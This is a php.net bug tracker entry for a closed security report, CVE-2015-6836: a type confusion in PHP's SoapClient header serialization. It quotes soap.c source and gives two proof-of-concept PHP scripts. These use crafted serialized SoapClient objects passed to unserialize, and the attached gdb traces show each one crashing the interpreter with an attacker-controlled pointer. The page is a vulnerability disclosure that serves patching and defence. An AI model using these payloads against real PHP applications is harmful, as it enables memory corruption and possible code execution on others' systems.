|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-09-01 19:13 UTC] stas@php.net
-Status: Open
+Status: Closed
-Assigned To:
+Assigned To: stas
[2015-09-01 19:13 UTC] stas@php.net
[2015-09-02 08:29 UTC] stas@php.net
[2015-09-03 18:10 UTC] ab@php.net
[2015-09-09 10:09 UTC] kaplan@php.net
-CVE-ID:
+CVE-ID: 2015-6836
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 04:00:01 2025 UTC |
Description: ------------ A type confusion occurs within SOAP serialize_function_call due to an insufficient validation of the headers field. In the SoapClient's __call method, the verify_soap_headers_array check is applied only to headers retrieved from zend_parse_parameters; problem is that a few lines later, soap_headers could be updated or even replaced with values from the __default_headers object fields. soap.c if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__default_headers", sizeof("__default_headers"), (void **) &tmp) == SUCCESS && Z_TYPE_PP(tmp) == IS_ARRAY) { 2913 HashTable *default_headers = Z_ARRVAL_P(*tmp); 2914 if (soap_headers) { 2915 if (!free_soap_headers) { 2916 HashTable *t = emalloc(sizeof(HashTable)); 2917 zend_hash_init(t, 0, NULL, ZVAL_PTR_DTOR, 0); 2918 zend_hash_copy(t, soap_headers, (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)); 2919 soap_headers = t; 2920 free_soap_headers = 1; 2921 } 2922 zend_hash_internal_pointer_reset(default_headers); 2923 while (zend_hash_get_current_data(default_headers, (void**)&tmp) == SUCCESS) { 2924 Z_ADDREF_PP(tmp); 2925 zend_hash_next_index_insert(soap_headers, tmp, sizeof(zval *), NULL); 2926 zend_hash_move_forward(default_headers); 2927 } 2928 } else { 2929 soap_headers = Z_ARRVAL_P(*tmp); 2930 free_soap_headers = 0; 2931 } In such case, the soap_headers array is no longer assured to be holding Objects only, thus leading to a type confusion when serialize_function_call will try to access its elements through 4351 HashTable *ht = Z_OBJPROP_PP(header); The described scenario applies to latest versions of each PHP branch; exploitation on PHP7 is much easier, since supplying a numeric zval to Z_OBJPRO_PP results is full control over the obj.handlers pointer. The same result could be achieved in PHP5 leveraging on a string length, but the exploitability would then depend on the memory layout. Test script: --------------- PHP7 <?php /* (gdb) r poc1.php Starting program: /home/php-7/bin/php /home/poc1.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007bb150 in serialize_function_call (this_ptr=0x7ffff16151f0, function=0x0, function_name=0x7ffff1683018 "notexisting", uri=0x7ffff1603e58 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff1659c00) at /home/php-7/ext/soap/soap.c:4335 4335 HashTable *ht = Z_OBJPROP_P(header); (gdb) x/i $pc => 0x7bb150 <serialize_function_call+2214>: mov 0x18(%rax),%rax (gdb) p $rax $63 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;i:1337;}}'); var_dump($dummy->notexisting()); ?> PHP5 <?php /* (gdb) r poc2.php Starting program: /usr/bin/php /home/poc2.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370) at /home/php-5.6.11/ext/soap/soap.c:4351 4351 HashTable *ht = Z_OBJPROP_PP(header); (gdb) x/i $pc => 0x7dac54 <serialize_function_call+2145>: mov 0x70(%rax),%rax (gdb) p $rax $4 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}'); var_dump($dummy->notexisting()); ?>